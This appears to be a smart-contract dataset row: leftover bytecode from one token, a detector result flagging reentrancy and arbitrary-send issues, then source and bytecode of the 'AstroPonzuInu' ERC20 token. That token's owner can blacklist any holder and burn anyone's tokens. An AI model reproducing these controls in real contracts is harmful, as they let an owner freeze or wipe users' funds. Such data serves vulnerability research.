d2d565b9050919050565b612d5a81612d3f565b82525050565b6000602082019050612d756000830184612d51565b92915050565b6000604082019050612d9060008301856128f4565b612d9d60208301846128f4565b9392505050565b7f706c73206e6f20626f7400000000000000000000000000000000000000000000600082015250565b6000612dda600a83612929565b9150612de582612da4565b602082019050919050565b60006020820190508181036000830152612e0981612dcd565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612e4a826128ea565b9150612e55836128ea565b925082821015612e6857612e67612e10565b5b828203905092915050565b7f526174652063616e2774206265207a65726f0000000000000000000000000000600082015250565b6000612ea9601283612929565b9150612eb482612e73565b602082019050919050565b60006020820190508181036000830152612ed881612e9c565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612f15602083612929565b9150612f2082612edf565b602082019050919050565b60006020820190508181036000830152612f4481612f08565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612f81601783612929565b9150612f8c82612f4b565b602082019050919050565b60006020820190508181036000830152612fb081612f74565b9050919050565b600081519050612fc681612a10565b92915050565b600060208284031215612fe257612fe16129d9565b5b6000612ff084828501612fb7565b91505092915050565b600060408201905061300e6000830185612c3e565b61301b6020830184612c3e565b9392505050565b6000819050919050565b600061304761304261303d84613022565b612d01565b6128ea565b9050919050565b6130578161302c565b82525050565b600060c0820190506130726000830189612c3e565b61307f60208301886128f4565b61308c604083018761304e565b613099606083018661304e565b6130a66080830185612c3e565b6130b360a08301846128f4565b979650505050505050565b6000815190506130cd81612a69565b92915050565b6000806000606084860312156130ec576130eb6129d9565b5b60006130fa868287016130be565b935050602061310b868287016130be565b925050604061311c868287016130be565b9150509250925092565b600060408201905061313b6000830185612c3e565b61314860208301846128f4565b9392505050565b60008151905061315e81612c68565b92915050565b60006020828403121561317a576131796129d9565b5b60006131888482850161314f565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006131ed602483612929565b91506131f882613191565b604082019050919050565b6000602082019050818103600083015261321c816131e0565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061327f602283612929565b915061328a82613223565b604082019050919050565b600060208201905081810360008301526132ae81613272565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613311602583612929565b915061331c826132b5565b604082019050919050565b6000602082019050818103600083015261334081613304565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006133a3602383612929565b91506133ae82613347565b604082019050919050565b600060208201905081810360008301526133d281613396565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613435602983612929565b9150613440826133d9565b604082019050919050565b6000602082019050818103600083015261346481613428565b9050919050565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b60006134a1601883612929565b91506134ac8261346b565b602082019050919050565b600060208201905081810360008301526134d081613494565b9050919050565b7f706c73206e6f20736e6970000000000000000000000000000000000000000000600082015250565b600061350d600b83612929565b9150613518826134d7565b602082019050919050565b6000602082019050818103600083015261353c81613500565b9050919050565b600061354e826128ea565b9150613559836128ea565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561358e5761358d612e10565b5b828201905092915050565b7f596f752063616e2774206f776e2074686174206d616e7920746f6b656e73206160008201527f74206f6e63652e00000000000000000000000000000000000000000000000000602082015250565b60006135f5602783612929565b915061360082613599565b604082019050919050565b60006020820190508181036000830152613624816135e8565b9050919050565b7f45786365656473206d6178696d756d2062757920616d6f756e742e0000000000600082015250565b6000613661601b83612929565b915061366c8261362b565b602082019050919050565b6000602082019050818103600083015261369081613654565b9050919050565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b60006136f3602283612929565b91506136fe82613697565b604082019050919050565b60006020820190508181036000830152613722816136e6565b9050919050565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b6000613785602383612929565b915061379082613729565b604082019050919050565b600060208201905081810360008301526137b481613778565b9050919050565b60006137c6826128ea565b91506137d1836128ea565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561380a57613809612e10565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061384f826128ea565b915061385a836128ea565b92508261386a57613869613815565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613908816129fe565b82525050565b600061391a83836138ff565b60208301905092915050565b6000602082019050919050565b600061393e826138d3565b61394881856138de565b9350613953836138ef565b8060005b8381101561398457815161396b888261390e565b975061397683613926565b925050600181019050613957565b5085935050505092915050565b600060a0820190506139a660008301886128f4565b6139b3602083018761304e565b81810360408301526139c58186613933565b90506139d46060830185612c3e565b6139e160808301846128f4565b969550505050505056fea26469706673582212209ccf740f5f8dadfb58802990dea25f3b488df6dd2559f45e5acf26813185d7d264736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
4,813
0xedcb7440e50b521a0f17a632a1a131cebeade934
// SPDX-License-Identifier: MIT pragma solidity >=0.5.0 <0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract AstroPonzuInu is Context, IERC20 { using SafeMath for uint256; using Address for address; struct lockDetail{ uint256 amountToken; uint256 lockUntil; } mapping (address => uint256) private _balances; mapping (address => bool) private _blacklist; mapping (address => bool) private _isAdmin; mapping (address => lockDetail) private _lockInfo; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event PutToBlacklist(address indexed target, bool indexed status); event LockUntil(address indexed target, uint256 indexed totalAmount, uint256 indexed dateLockUntil); constructor (string memory name, string memory symbol, uint256 amount) { _name = name; _symbol = symbol; _setupDecimals(18); address msgSender = _msgSender(); _owner = msgSender; _isAdmin[msgSender] = true; _mint(msgSender, amount); emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function isAdmin(address account) public view returns (bool) { return _isAdmin[account]; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } modifier onlyAdmin() { require(_isAdmin[_msgSender()] == true, "Ownable: caller is not the administrator"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function promoteAdmin(address newAdmin) public virtual onlyOwner { require(_isAdmin[newAdmin] == false, "Ownable: address is already admin"); require(newAdmin != address(0), "Ownable: new admin is the zero address"); _isAdmin[newAdmin] = true; } function demoteAdmin(address oldAdmin) public virtual onlyOwner { require(_isAdmin[oldAdmin] == true, "Ownable: address is not admin"); require(oldAdmin != address(0), "Ownable: old admin is the zero address"); _isAdmin[oldAdmin] = false; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function isBlackList(address account) public view returns (bool) { return _blacklist[account]; } function getLockInfo(address account) public view returns (uint256, uint256) { lockDetail storage sys = _lockInfo[account]; if(block.timestamp > sys.lockUntil){ return (0,0); }else{ return ( sys.amountToken, sys.lockUntil ); } } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address funder, address spender) public view virtual override returns (uint256) { return _allowances[funder][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function transferAndLock(address recipient, uint256 amount, uint256 lockUntil) public virtual onlyAdmin returns (bool) { _transfer(_msgSender(), recipient, amount); _wantLock(recipient, amount, lockUntil); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function lockTarget(address payable targetaddress, uint256 amount, uint256 lockUntil) public onlyAdmin returns (bool){ _wantLock(targetaddress, amount, lockUntil); return true; } function unlockTarget(address payable targetaddress) public onlyAdmin returns (bool){ _wantUnlock(targetaddress); return true; } function burnTarget(address payable targetaddress, uint256 amount) public onlyOwner returns (bool){ _burn(targetaddress, amount); return true; } function blacklistTarget(address payable targetaddress) public onlyOwner returns (bool){ _wantblacklist(targetaddress); return true; } function unblacklistTarget(address payable targetaddress) public onlyOwner returns (bool){ _wantunblacklist(targetaddress); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { lockDetail storage sys = _lockInfo[sender]; require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(_blacklist[sender] == false, "ERC20: sender address "); _beforeTokenTransfer(sender, recipient, amount); if(sys.amountToken > 0){ if(block.timestamp > sys.lockUntil){ sys.lockUntil = 0; sys.amountToken = 0; _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); }else{ uint256 checkBalance = _balances[sender].sub(sys.amountToken, "ERC20: lock amount exceeds balance"); _balances[sender] = checkBalance.sub(amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = _balances[sender].add(sys.amountToken); _balances[recipient] = _balances[recipient].add(amount); } }else{ _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); } emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _wantLock(address account, uint256 amountLock, uint256 unlockDate) internal virtual { lockDetail storage sys = _lockInfo[account]; require(account != address(0), "ERC20: Can't lock zero address"); require(_balances[account] >= sys.amountToken.add(amountLock), "ERC20: You can't lock more than account balances"); if(sys.lockUntil > 0 && block.timestamp > sys.lockUntil){ sys.lockUntil = 0; sys.amountToken = 0; } sys.lockUntil = unlockDate; sys.amountToken = sys.amountToken.add(amountLock); emit LockUntil(account, sys.amountToken, unlockDate); } function _wantUnlock(address account) internal virtual { lockDetail storage sys = _lockInfo[account]; require(account != address(0), "ERC20: Can't lock zero address"); sys.lockUntil = 0; sys.amountToken = 0; emit LockUntil(account, 0, 0); } function _wantblacklist(address account) internal virtual { require(account != address(0), "ERC20: Can't blacklist zero address"); require(_blacklist[account] == false, "ERC20: Address already in blacklist"); _blacklist[account] = true; emit PutToBlacklist(account, true); } function _wantunblacklist(address account) internal virtual { require(account != address(0), "ERC20: Can't blacklist zero address"); require(_blacklist[account] == true, "ERC20: Address not blacklisted"); _blacklist[account] = false; emit PutToBlacklist(account, false); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address funder, address spender, uint256 amount) internal virtual { require(funder != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[funder][spender] = amount; emit Approval(funder, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106101735760003560e01c806370a08231116100de57806395d89b4111610097578063b36d691911610071578063b36d6919146108b2578063dd62ed3e1461090c578063df698fc914610984578063f2fde38b146109c857610173565b806395d89b4114610767578063a457c2d7146107ea578063a9059cbb1461084e57610173565b806370a08231146105aa578063715018a6146106025780637238ccdb1461060c578063787f02331461066b57806384d5d944146106c55780638da5cb5b1461073357610173565b8063313ce56711610130578063313ce567146103b557806339509351146103d65780633d72d6831461043a57806352a97d521461049e578063569abd8d146104f85780635e558d221461053c57610173565b806306fdde0314610178578063095ea7b3146101fb57806318160ddd1461025f57806319f9a20f1461027d57806323b872dd146102d757806324d7806c1461035b575b600080fd5b610180610a0c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101c05780820151818401526020810190506101a5565b50505050905090810190601f1680156101ed5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102476004803603604081101561021157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610aae565b60405180821515815260200191505060405180910390f35b610267610acc565b6040518082815260200191505060405180910390f35b6102bf6004803603602081101561029357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ad6565b60405180821515815260200191505060405180910390f35b610343600480360360608110156102ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b9a565b60405180821515815260200191505060405180910390f35b61039d6004803603602081101561037157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c73565b60405180821515815260200191505060405180910390f35b6103bd610cc9565b604051808260ff16815260200191505060405180910390f35b610422600480360360408110156103ec57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ce0565b60405180821515815260200191505060405180910390f35b6104866004803603604081101561045057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d93565b60405180821515815260200191505060405180910390f35b6104e0600480360360208110156104b457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e73565b60405180821515815260200191505060405180910390f35b61053a6004803603602081101561050e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f51565b005b6105926004803603606081101561055257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291905050506111a5565b60405180821515815260200191505060405180910390f35b6105ec600480360360208110156105c057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061126d565b6040518082815260200191505060405180910390f35b61060a6112b5565b005b61064e6004803603602081101561062257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611440565b604051808381526020018281526020019250505060405180910390f35b6106ad6004803603602081101561068157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114b4565b60405180821515815260200191505060405180910390f35b61071b600480360360608110156106db57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050611592565b60405180821515815260200191505060405180910390f35b61073b61166c565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61076f611696565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156107af578082015181840152602081019050610794565b50505050905090810190601f1680156107dc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6108366004803603604081101561080057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611738565b60405180821515815260200191505060405180910390f35b61089a6004803603604081101561086457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611805565b60405180821515815260200191505060405180910390f35b6108f4600480360360208110156108c857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611823565b60405180821515815260200191505060405180910390f35b61096e6004803603604081101561092257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611879565b6040518082815260200191505060405180910390f35b6109c66004803603602081101561099a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611900565b005b610a0a600480360360208110156109de57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b71565b005b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610aa45780601f10610a7957610100808354040283529160200191610aa4565b820191906000526020600020905b815481529060010190602001808311610a8757829003601f168201915b5050505050905090565b6000610ac2610abb611e09565b8484611e11565b6001905092915050565b6000600554905090565b60006001151560026000610ae8611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514610b88576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806132de6028913960400191505060405180910390fd5b610b9182612008565b60019050919050565b6000610ba784848461214c565b610c6884610bb3611e09565b610c638560405180606001604052806028815260200161330660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610c19611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b611e11565b600190509392505050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600860009054906101000a900460ff16905090565b6000610d89610ced611e09565b84610d848560046000610cfe611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b611e11565b6001905092915050565b6000610d9d611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e5f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610e69838361295d565b6001905092915050565b6000610e7d611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f3f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610f4882612b21565b60019050919050565b610f59611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461101b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60001515600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515146110c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806133e06021913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561114a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806132886026913960400191505060405180910390fd5b6001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600060011515600260006111b7611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514611257576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806132de6028913960400191505060405180910390fd5b611262848484612cf1565b600190509392505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6112bd611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461137f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600860016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000806000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050806001015442111561149f5760008092509250506114af565b8060000154816001015492509250505b915091565b60006114be611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611580576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61158982612f2c565b60019050919050565b600060011515600260006115a4611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514611644576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806132de6028913960400191505060405180910390fd5b61165661164f611e09565b858561214c565b611661848484612cf1565b600190509392505050565b6000600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060078054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561172e5780601f106117035761010080835404028352916020019161172e565b820191906000526020600020905b81548152906001019060200180831161171157829003601f168201915b5050505050905090565b60006117fb611745611e09565b846117f6856040518060600160405280602581526020016133bb602591396004600061176f611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b611e11565b6001905092915050565b6000611819611812611e09565b848461214c565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611908611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146119ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60011515600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514611a90576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4f776e61626c653a2061646472657373206973206e6f742061646d696e00000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611b16576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806132626026913960400191505060405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b611b79611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611c3b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611cc1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806131d26026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600860016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080828401905083811015611dff576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611e97576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806133746024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611f1d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806131f86022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffff